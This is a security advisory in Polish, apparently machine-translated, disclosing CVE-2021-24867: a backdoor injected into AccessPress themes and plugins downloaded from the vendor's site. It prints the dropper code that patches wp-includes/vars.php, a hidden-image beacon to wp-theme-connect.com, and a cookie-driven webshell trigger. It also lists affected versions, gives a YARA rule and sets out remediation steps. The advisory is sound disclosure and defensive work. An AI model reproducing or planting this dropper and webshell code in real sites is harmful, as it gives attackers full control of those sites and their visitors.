Backdoor znaleziony w motywach i wtyczkach z motywów AccessPress

Opublikowany: 2022-01-19

Aktualizacja 1 lutego – Zmieniono sekcję „Dotknięte motywy”, aby odzwierciedlić, że zaczynają pojawiać się nowe wersje motywów.

Podczas badania zhakowanej witryny odkryliśmy podejrzany kod w motywie autorstwa AccessPress Themes (znanego również jako Access Keys), dostawcy oferującego dużą liczbę popularnych motywów i wtyczek. Podczas dalszego dochodzenia odkryliśmy, że wszystkie motywy i większość wtyczek od dostawcy zawierały ten podejrzany kod, ale tylko wtedy, gdy zostały pobrane z ich własnej witryny. Te same rozszerzenia były w porządku, jeśli zostały pobrane lub zainstalowane bezpośrednio z katalogu WordPress.org.

Ze względu na sposób, w jaki rozszerzenia zostały naruszone, podejrzewaliśmy, że atakujący z zewnątrz włamał się na witrynę AccessPress Themes, próbując wykorzystać ich rozszerzenia do zainfekowania kolejnych witryn.

Natychmiast skontaktowaliśmy się ze sprzedawcą, ale na początku nie otrzymaliśmy odpowiedzi. Po przekazaniu go zespołowi ds. wtyczek WordPress.org nasze podejrzenia potwierdziły się. Witryny AccessPress Themes zostały naruszone w pierwszej połowie września 2021 r., a rozszerzenia dostępne do pobrania na ich stronie zostały wstrzyknięte z backdoorem.

Po ustanowieniu kanału komunikacji z dostawcą podzieliliśmy się z nim naszymi szczegółowymi ustaleniami. Natychmiast usunęli obraźliwe rozszerzenia ze swojej witryny.

Większość wtyczek została od tego czasu zaktualizowana, a znane, czyste wersje są wymienione na końcu tego posta. Jednak motywy, których dotyczy problem, nie zostały zaktualizowane i zostały pobrane z repozytorium motywów WordPress.org. Jeśli w Twojej witrynie jest zainstalowany jeden z motywów wymienionych na dole tego posta, zalecamy jak najszybszą migrację do nowego motywu.

To ujawnienie dotyczy dużej liczby rozszerzeń, zarówno wtyczek, jak i motywów. Przejdź do poniższej listy lub czytaj dalej, aby poznać szczegóły.

Detale:

Dostawca: Motywy AccessPress
Adres URL dostawcy: https://accesspressthemes.com
Wtyczki: wiele
Tematy: wiele
CVE: CVE-2021-24867

Analiza:

Zainfekowane rozszerzenia zawierały dropper dla powłoki internetowej, który zapewnia atakującym pełny dostęp do zainfekowanych stron. Dropper znajduje się w pliku inital.php znajdującym się w głównym katalogu wtyczek lub motywu. Po uruchomieniu instaluje powłokę internetową opartą na plikach cookie w wp-includes/vars.php . Powłoka jest instalowana jako funkcja tuż przed wp_is_mobile() o nazwie wp_is_mobile_fix() . Prawdopodobnie ma to nie wzbudzić podejrzeń u nikogo, kto od niechcenia przewija plik vars.php .

function makeInit() {
    $b64 = 'ba' . 'se64' . '_dec' . 'ode';
    $b = 'ZnVuY3Rpb2........TsKCg==';

    $f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
    if(file_exists($f)) {
        $fp = 0777 & @fileperms($f);
        $ft = @filemtime($f);
        $fc = @file_get_contents($f);
        if(strpos($fc, 'wp_is_mobile_fix') === false) {
            $fc = str_replace('function wp_is_mobile()',
                $b64($b) . 'function wp_is_mobile()',
                $fc);
            @file_put_contents($f, $fc);
            @touch($f, $ft);
            @chmod($f, $fp);
        }
        return true;
    }
    return false;
}

Po zainstalowaniu powłoki dropper zadzwoni do domu, ładując zdalny obraz z adresu URL hxxps://www.wp-theme-connect.com/images/wp-theme.jpg z adresem URL zainfekowanej witryny i informacjami o jakiego motywu używa jako argumentów zapytania. Na koniec usunie plik źródłowy droppera, aby uniknąć wykrycia po zakończeniu wykonywania żądania.

function finishInit() {
    unlink(__FILE__);
}

add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {

    function wp_notice_plug() {
        echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
    }

}
register_shutdown_function('finishInit');

Sama powłoka WWW jest wyzwalana, jeśli ciąg agenta użytkownika w żądaniu to wp_is_mobile , a żądanie zawiera osiem określonych plików cookie. Składa się i wykonuje ładunek z tych dostarczonych plików cookie.

	$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
	$g = $_COOKIE;

	(count($g) == 8 && $is_wp_mobile) ?
	(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
	($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) && 
	@$_iv()) : $g;

Widzieliśmy również inny, prawdopodobnie starszy wariant backdoora bezpośrednio osadzonego w pliku functions.php motywu/wtyczki. Ten wariant wykorzystuje ten sam mechanizm, łącząc ze sobą ładunek z ośmiu plików cookie, ale nie filtruje według ciągu agenta użytkownika żądania.

Aby upewnić się, że dropper jest wykonywany, główny plik wtyczki (w przypadku wtyczek) lub plik functions.php (w przypadku motywów) został zmodyfikowany za pomocą kodu uruchamiającego plik inital.php , jeśli taki istnieje.

if(is_admin()) {
    add_action( "init", 'apap_plugin_check' );
}

function apap_plugin_check(){
    if(file_exists(__DIR__ . "/inital.php")){
        include(__DIR__ . "/inital.php");
    }
}

Jednym uderzającym szczegółem z sygnatur czasowych zhakowanych wtyczek jest to, że wszystkie pochodzą z początku września. Większość pochodzi z 6 i 7 września, a kilka plików z 2 i 3 września. Podobnie w przypadku tematów, wszystkie zostały skompromitowane 22 września, z wyjątkiem accessbuddy 9 września.

Również znaczniki czasu w archiwach zip są bardzo jednolite, prawie wszystkie pliki mają dokładnie ten sam znacznik czasu, z wyjątkiem zmodyfikowanego głównego pliku wtyczki i dodanego pliku droppera, który jest stemplowany kilka minut później (zwykle około 2-5 minut później). inne pliki w archiwum).

Patrząc na sygnatury czasowe plików zip pobranych z repozytorium wordpress.org , znajdujemy rozkład sygnatur czasowych odpowiadający faktycznej aktualizacji wtyczki/motywu. Również dystrybucja znaczników czasu w archiwum jest mniej jednolita i odzwierciedla, które pliki zostały zaktualizowane w wydaniu, a które pozostają niezmienione w stosunku do starszego wydania.

Sugeruje nam to, że pliki ze strony internetowej AccessPress Themes zostały celowo zmodyfikowane i jako skoordynowane działanie po ich pierwotnym wydaniu. Wydaje się, że kompromis został przeprowadzony w dwóch etapach, jeden dla wtyczek, a drugi dla motywów. Każdy z nich z kilkoma wcześniejszymi próbami, ewentualnie z dopracowaniem procesu.

Nasze dochodzenie dotyczyło jedynie motywów i wtyczek dostępnych bezpłatnie w witrynie internetowej AccessPress Themes. Zakładamy, że ich płatne motywy pro mają podobny wpływ, ale ich nie zbadaliśmy. Jeśli posiadasz któryś z nich, skontaktuj się z działem pomocy AccessPress Themes w celu uzyskania dalszych porad.

Dotknięte tematy

Jeśli masz zainstalowany w witrynie któryś z poniższych motywów z numerem wersji w kolumnie Zły , zalecamy natychmiastową aktualizację do wersji w kolumnie Wyczyść . Warto zauważyć, że motywy zainstalowane przez WordPress.org są czyste, nawet jeśli są wymienione w kolumnie Złe . Nadal zalecamy aktualizację do znanej czystej wersji, aby być po bezpiecznej stronie.

Motywy bez numeru wersji w kolumnie Wyczyść nie zostały jeszcze uaktualnione i zalecamy zastąpienie go innym motywem, jeśli to w ogóle możliwe.

Temat ślimaka Zły Czysty
accessbuddy 1.0.0
accesspress-basic 3.2.1 3.2.2
accesspress-lite 2,92 2,93
accesspress-mag 2.6.5 2.6.6
accesspress-paralaksa 4,5 4,6
Accesspress-ray 1.19.5
accesspress-root 2,5 2.6.0
accesspress-zszywka 1.9.1
accesspress-store 2.4.9 2.5.0
agencja-lite 1.1.6 1.1.7
trafny 1.0.6
buntować się 1.0.4 1.0,5
bloger 1.2.6 1.2.7
konstrukcja-lite 1.2.5 1.2.6
doko 1.0.27 1.1.0
oświecać 1.3.5 1.3.6
sklep spożywczy 1.2.1
fotografia 2.4.0 2.4.1
gaga-korpus 1.0.8
gaga-lite 1.4.2
jednoetapowy 2.2.8
paralaksy-blog 3.1.1574941215
paralaksom 1.3.6 1.3.7
punte 1.1.2 1.1.3
obracać się 1.3.1
marszczyć 1.2.0 1.2.1
scrollme 2.1.0
mag sportowy 1.2.1
sklepvilla 1.4.1 1.4.2
swing-lite 1.1.9 1.2.0
wyrzutnia 1.3.2 1.3.3
poniedziałek 1.4.1
uncode-lite 1.3.1
unicon-lite 1.2.6 1.2.7
vmag 1.2.7 1.2.8
vmagazine-lite 1.3.5 1.3.7
vmagazine-news 1.0,5 1.0.6
zigcy-dziecko 1.0.6 1.0.7
zigcy-kosmetyki 1.0,5 1.0.6
zigcy-lite 2.0.9 2.1.0
Tabela 1: Motywy i wersje zaatakowane przez atak.

Wtyczki, których dotyczy problem

Jeśli masz w swojej witrynie zainstalowaną dowolną z poniższych wtyczek z numerem wersji w kolumnie Zły , zalecamy natychmiastowe uaktualnienie do wersji w kolumnie Wyczyść . Warto zauważyć, że wtyczki zainstalowane przez WordPress.org są czyste, nawet jeśli są wymienione w kolumnie Złe . Nadal zalecamy aktualizację do znanej czystej wersji, aby być po bezpiecznej stronie.

Wtyczki bez numeru wersji w kolumnie Wyczyść nie zostały jeszcze zaktualizowane i zalecamy zastąpienie ich innymi wtyczkami, jeśli to w ogóle możliwe.

Błąd wtyczki Zły Czysty Notatka
accesspress-anonimowy-post 2.8.0 2.8.1 1
accesspress-custom-css 2.0.1 2.0.2
accesspress-niestandardowy-typ-post 1.0.8 1.0.9
accesspress-facebook-auto-post 2.1.3 2.1.4
accesspress-instagram-feed 4.0.3 4.0.4
accesspress-pinterest 3.3.3 3.3.4
accesspress-social-counter 1.9.1 1.9.2
accesspress-social-ikony 1.8.2 1.8.3
accesspress-social-login-lite 3.4.7 3.4.8
accesspress-social-share 4.5.5 4.5.6
accesspress-twitter-auto-post 1.4.5 1.4.6
accesspress-twitter-feed 1.6.7 1.6.8
ak-menu-ikony-lite 1.0.9
ap-towarzysz 1.0.7 2
ap-formularz-kontakt 1.0.6 1.0.7
ap-niestandardowe referencje 1.4.6 1.4.7
ap-mega-menu 3.0,5 3.0.6
ap-pricing-tables-lite 1.1.2 1.1.3
apex-notification-bar-lite 2.0.4 2.0.5
cf7-store-to-db-lite 1.0.9 1.1.0
komentarze-wyłącz-dostęp-press 1.0.7 1.0.8
easy-side-tab-cta 1.0.7 1.0.8
Everest-admin-theme-lite 1.0.7 1.0.8
everest-coming-soon-lite 1.1.0 1.1.1
everest-komentarz-ocena-lite 2.0.4 2.0.5
everest-counter-lite 2.0.7 2.0.8
everest-faq-manager-lite 1.0.8 1.0.9
everest-galeria-lite 1.0.8 1.0.9
everest-google-places-recenzje-lite 1.0.9 2.0.0
everest-recenzja-lite 1.0.7
everest-tab-lite 2.0.3 2.0.4
everest-oś czasu-lite 1.1.1 1.1.2
wbudowany-call-to-action-builder-lite 1.1.0 1.1.1
suwak-produktu-dla-woocommerce-lite 1.1.5 1.1.6
smart-logo-showcase-lite 1.1.7 1.1.8
smart-scroll-posty 2.0.8 2.0.9
smart-scroll-to-top-lite 1.0.3 1.0.4
Total-Gdpr-compliance-lite 1.0.4
total-team-lite 1.1.1 1.1.2
Ultimate-author-box-lite 1.1.2 1.1.3
Ultimate-Form Builder-lite 1.5.0 1.5.1
woo-badge-designer-lite 1.1.0 1.1.1
wp-1-suwak 1.2.9 1.3.0
wp-blog-manager-lite 1.1.0 1.1.2
wp-comment-designer-lite 2.0.3 2.0.4
wp-cookie-informacje-użytkownik 1.0.7 1.0.8
wp-facebook-recenzja-showcase-lite 1.0.9
wp-fb-messenger-przycisk-lite 2.0.7
wp-pływające-menu 1.4.4 1.4.5
wp-media-manager-lite 1.1.2 1.1.3
wp-popup-banery 1.2.3 1.2.4
wp-popup-lite 1.0.8
wp-product-gallery-lite 1.1.1
Tabela 2: Wtyczki, wersje zagrożone atakiem oraz znane wersje czyste,

Uwagi:

  1. Ta wtyczka nie została zaktualizowana, ale uważa się, że jest czysta, ponieważ wersja na stronie AccessPress Themes była starszą wersją.
  2. Ta wtyczka nie została zaktualizowana, ale uważa się, że jest czysta, ponieważ nie była pierwotnie dostępna na stronie AccessPress Themes.

MKOl

Poniższa reguła YARA może zostać wykorzystana do sprawdzenia, czy witryna została zainfekowana. Wykryje zarówno część droppera infekcji, jak i zainstalowaną powłokę webshell.

rule accesspress_backdoor_infection
{
strings:

   // IoC's for the dropper
   $inject0 = "$fc = str_replace('function wp_is_mobile()',"
   $inject1 = "$b64($b) . 'function wp_is_mobile()',"
   $inject2 = "$fc);"
   $inject3 = "@file_put_contents($f, $fc);"

   // IoC's for the dumped payload
   $payload0 = "function wp_is_mobile_fix()"
   $payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
   $payload2 = "$g = $_COOKIE;"
   $payload3 = "(count($g) == 8 && $is_wp_mobile) ?"

   $url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/

condition:

   all of ( $inject* )
   or all of ( $payload* )
   or $url0
}

Zalecenia

Jeśli masz jakiekolwiek motywy lub wtyczki zainstalowane bezpośrednio z Motywów AccessPress lub jakiegokolwiek innego miejsca poza WordPress.org, powinieneś natychmiast zaktualizować je do bezpiecznej wersji, jak wskazano w powyższych tabelach. Jeśli nie jest dostępna żadna bezpieczna wersja, zastąp ją najnowszą wersją z WordPress.org.

Pamiętaj, że nie powoduje to usunięcia backdoora z systemu, więc dodatkowo musisz ponownie zainstalować czystą wersję WordPressa, aby cofnąć modyfikacje podstawowych plików dokonane podczas instalacji tylnych drzwi.

Jeśli masz płatny motyw lub wtyczkę z Motywy/Klucze dostępu AccessPress, zalecamy skontaktowanie się z ich obsługą w celu uzyskania pomocy.

Zdecydowanie zalecamy posiadanie planu bezpieczeństwa dla swojej witryny, który obejmuje skanowanie złośliwych plików i tworzenie kopii zapasowych. Jetpack Security to świetna opcja bezpieczeństwa WordPress, która zapewnia bezpieczeństwo Twojej witrynie i odwiedzającym. Jetpack Scan wykrył wszystkie warianty tych tylnych drzwi i zakraplacza od 30 września.

Oś czasu

22.09.2021: Zespół Jetpack Scan odkrywa zakraplacz i tylne drzwi w motywie FotoGraphy i próbuje skontaktować się ze sprzedawcą w sprawie wstępnego odkrycia.

2021-09-27: Potwierdź obecność droppera + tylne drzwi we wszystkich obecnych darmowych wtyczkach i motywach pobranych ze strony internetowej dostawcy.

2021-09-28: Potwierdź, że dropper + tylne drzwi nie są obecne w plikach do pobrania z wordpress.org

2021-09-29: Ponowna próba skontaktowania się z dostawcą, z aktualizacjami o nowych wynikach.

2021-10-14: Eskalacja do zespołu wtyczek WordPress w celu uzyskania kontaktu z dostawcą.

15.10.2021: Przejęte rozszerzenia są usuwane z witryny dostawcy.

2021-10-16: Odpowiedź od dostawcy

2022-01-17: Większość wtyczek została zaktualizowana do nowych wersji, motywy zostały pobrane z WordPress.org.

2022-01-18 Ujawnienie publiczne